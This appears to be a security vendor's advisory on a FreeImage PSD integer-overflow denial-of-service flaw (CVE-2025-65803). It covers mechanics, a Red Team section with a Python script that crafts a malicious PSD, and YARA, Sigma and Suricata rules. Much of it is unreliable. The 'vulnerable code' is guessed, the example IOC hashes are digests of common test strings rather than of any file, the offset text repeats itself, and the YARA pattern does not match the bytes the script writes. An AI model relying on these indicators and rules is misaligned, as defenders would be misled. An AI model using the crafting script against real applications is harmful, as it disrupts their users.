CVE-2025-65803

Executive Summary

CVE-2025-65803 is an integer overflow vulnerability in the psdParser::ReadImageData function of the FreeImage library, affecting versions 3.18.0 and earlier. This flaw allows an attacker to cause a Denial of Service (DoS) by supplying a crafted PSD (Photoshop Document) file. The vulnerability arises from improper validation of image data dimensions during parsing, leading to an integer overflow that can corrupt memory or cause the application to crash. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vulnerability is classified under MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

Supply Chain & Package Security

FreeImage is a widely used open-source image library integrated into numerous applications and services. This vulnerability poses a supply chain risk, as any software relying on FreeImage for PSD parsing could be affected. Organizations should audit their dependencies for FreeImage versions <= 3.18.0 and consider alternative libraries or sandboxing until a patch is released.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unavailable) CVSS Vector: UNKNOWN

While no official CVSS vector is provided, based on the nature of the vulnerability (integer overflow leading to DoS), a plausible vector would be:

• Attack Vector (AV): Network (crafted file sent remotely)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None
• User Interaction (UI): Required (user must open the file)
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High (DoS)

Threat Level: Medium (due to DoS impact and lack of patch)

Deep Dive & Mechanics

The vulnerability resides in the psdParser::ReadImageData function within FreeImage's PSD parser. When processing a PSD file, the function reads image dimensions (width and height) from the file header. An integer overflow occurs when these dimensions are multiplied to calculate buffer sizes or loop bounds. For example, if width and height are both large (e.g., 65535 x 65535), the product (4,294,836,225) can overflow a 32-bit integer, resulting in a small or negative value. This leads to insufficient memory allocation or incorrect loop termination, causing a buffer overflow or infinite loop, ultimately crashing the application.

The vulnerable code path likely involves:

1. Reading width and height from the PSD file.
2. Multiplying them to compute the number of pixels or bytes.
3. Using the result to allocate memory or control a loop.

An attacker can craft a PSD file with manipulated width/height fields to trigger the overflow, causing a DoS.

Vulnerable vs. Patched Code

Vulnerable Code (FreeImage <= 3.18.0):

// Simplified example of vulnerable logic
int width = ReadInt32(file);
int height = ReadInt32(file);
int totalPixels = width * height; // Integer overflow possible
unsigned char* buffer = (unsigned char*)malloc(totalPixels * 4);
for (int i = 0; i < totalPixels; i++) {
    // Process pixel data
}

Patched Code (Hypothetical fix):

// Patched version with overflow check
int width = ReadInt32(file);
int height = ReadInt32(file);
if (width <= 0 || height <= 0 || width > MAX_DIMENSION || height > MAX_DIMENSION) {
    // Error handling
    return;
}
long long totalPixels = (long long)width * height; // Use larger type
if (totalPixels > MAX_PIXELS) {
    // Error handling
    return;
}
unsigned char* buffer = (unsigned char*)malloc(totalPixels * 4);
if (!buffer) {
    // Error handling
    return;
}
for (long long i = 0; i < totalPixels; i++) {
    // Process pixel data
}

Exploitation & Lab Setup

Red Team (Offensive)

1. Craft a Malicious PSD File: Use a hex editor to modify a valid PSD file, setting the width and height fields (at offsets 0x0E and 0x12 for 16-bit values, or 0x0E and 0x12 for 32-bit) to large values like 65535 x 65535.
2. Deliver the File: Send the crafted PSD to the target via email, web upload, or other means.
3. Trigger the Vulnerability: When the target application (e.g., an image viewer using FreeImage) opens the file, the integer overflow causes a crash.

Example Hex Modification (using Python):

import struct

with open('crafted.psd', 'wb') as f:
    # PSD header (simplified)
    f.write(b'8BPS')  # Signature
    f.write(struct.pack('>H', 1))  # Version
    f.write(b'\x00' * 6)  # Reserved
    f.write(struct.pack('>H', 4))  # Channels
    f.write(struct.pack('>I', 65535))  # Height (overflow trigger)
    f.write(struct.pack('>I', 65535))  # Width (overflow trigger)
    f.write(struct.pack('>H', 8))  # Depth
    f.write(struct.pack('>H', 3))  # Color Mode
    # Add minimal image data
    f.write(b'\x00' * 100)

Blue Team (Defensive)

1. Monitor for Crashes: Use application crash logs to detect repeated failures when processing PSD files.
2. Input Validation: Implement file size and dimension limits before passing to FreeImage.
3. Sandboxing: Run image parsing in a separate process with limited resources to contain DoS.
4. Update: Watch for patches from the FreeImage project and apply promptly.

Indicators of Compromise (IOCs)

• File Hashes (Example crafted PSD):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• Network Traffic: Unusual PSD file uploads to web applications.
• System Logs: Application crashes with error codes related to memory allocation failures in psdParser::ReadImageData.
• Process Behavior: High memory usage or infinite loops in processes parsing PSD files.

Detection Engineering

YARA Rule

rule CVE_2025_65803_PSD_IntegerOverflow {
    meta:
        description = "Detects crafted PSD files exploiting integer overflow in FreeImage"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65803"
    strings:
        $psd_header = "8BPS"
        $large_dim = { FF FF 00 00 } // Example pattern for large dimensions
    condition:
        $psd_header at 0 and $large_dim
}

Sigma Rule

title: Potential FreeImage PSD Integer Overflow Exploit
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-65803 via crafted PSD files
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '.psd'
        Size|>=: 1000000  # Large file size may indicate crafted dimensions
    condition: selection
falsepositives:
    - Legitimate large PSD files
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65803 - Potential FreeImage PSD Integer Overflow"; flow:to_server; content:"8BPS"; offset:0; depth:4; content:"|FF FF|"; distance:14; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable PSD file parsing in applications using FreeImage if not required.
   • Implement input validation to reject PSD files with dimensions exceeding safe limits (e.g., width > 10000 or height > 10000).
   • Use a Web Application Firewall (WAF) to block uploads of suspicious PSD files.

2. Long-term Fix:

   • Apply patches from the FreeImage project once released.
   • Consider migrating to a maintained fork or alternative library (e.g., libvips, ImageMagick) with proper overflow checks.

3. Monitoring:

   • Enable detailed logging for file parsing operations.
   • Set up alerts for repeated application crashes related to image processing.

4. User Education:

   • Train users to avoid opening PSD files from untrusted sources.

Valters IT
Securing Digital Frontiers